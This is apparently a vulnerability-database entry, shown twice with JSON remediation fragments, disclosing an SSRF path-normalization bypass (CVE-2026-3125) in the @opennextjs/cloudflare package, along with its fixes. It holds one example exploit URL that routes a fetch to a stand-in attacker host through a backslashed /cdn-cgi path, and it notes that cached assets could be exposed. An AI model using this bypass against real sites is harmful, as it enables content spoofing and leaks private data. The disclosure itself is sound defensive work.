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2 vulnerabilities found for @opennextjs/cloudflare by opennextjs
CVE-2026-3125 (GCVE-0-2026-3125)
Vulnerability from nvd – Published: 2026-03-04 18:14 – Updated: 2026-03-04 18:58
VLAI
EPSS
VEX
Title
SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass
Summary
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.
For example:
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.
Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.
Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
4 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| opennextjs | @opennextjs/cloudflare |
Affected:
0 , < 1.17.1
(npm)
|
Credits
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CVE-2026-3125 (GCVE-0-2026-3125)
Vulnerability from cvelistv5 – Published: 2026-03-04 18:14 – Updated: 2026-03-04 18:58
VLAI
EPSS
VEX
Title
SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass
Summary
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.
For example:
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.
Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.
Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
4 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| opennextjs | @opennextjs/cloudflare |
Affected:
0 , < 1.17.1
(npm)
|
Credits
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"value": "\u003cp\u003e\u003cspan style=\"background-color: transparent;\"\u003eServer-side updates to Cloudflare\u0027s Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.\u003c/span\u003e\u003c/p\u003e\u003cbr\u003e\u003cbr\u003e"
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"value": "Server-side updates to Cloudflare\u0027s Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers."
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"value": "\u003cp\u003e\u003cspan style=\"background-color: transparent;\"\u003eIn addition to the platform level fix, \u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/opennextjs/opennextjs-cloudflare/pull/1147\"\u003e\u003cspan style=\"background-color: transparent;\"\u003eroot cause fix\u003c/span\u003e\u003c/a\u003e\u003cspan style=\"background-color: transparent;\"\u003e has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 (\u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://www.npmjs.com/package/@opennextjs/cloudflare\"\u003e\u003cspan style=\"background-color: transparent;\"\u003ehttps://www.npmjs.com/package/@opennextjs/cloudflare\u003c/span\u003e\u003c/a\u003e\u003cspan style=\"background-color: transparent;\"\u003e)\u003c/span\u003e\u003c/p\u003e\u003cbr\u003e\u003cbr\u003e"
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"value": "In addition to the platform level fix, root cause fix https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 ( https://www.npmjs.com/package/@opennextjs/cloudflare https://www.npmjs.com/package/@opennextjs/cloudflare )"
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"value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/opennextjs/opennextjs-cloudflare/pull/1150\"\u003e\u003cspan style=\"background-color: transparent;\"\u003eDependency update\u003c/span\u003e\u003c/a\u003e\u003cspan style=\"background-color: transparent;\"\u003e to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next.\u003c/span\u003e\u003cbr\u003e"
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"value": "Dependency update https://github.com/opennextjs/opennextjs-cloudflare/pull/1150 to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next."
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass",
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"cveMetadata": {
"assignerOrgId": "a22f1246-ba21-4bb4-a601-ad51614c1513",
"assignerShortName": "cloudflare",
"cveId": "CVE-2026-3125",
"datePublished": "2026-03-04T18:14:31.111Z",
"dateReserved": "2026-02-24T14:15:54.385Z",
"dateUpdated": "2026-03-04T18:58:56.614Z",
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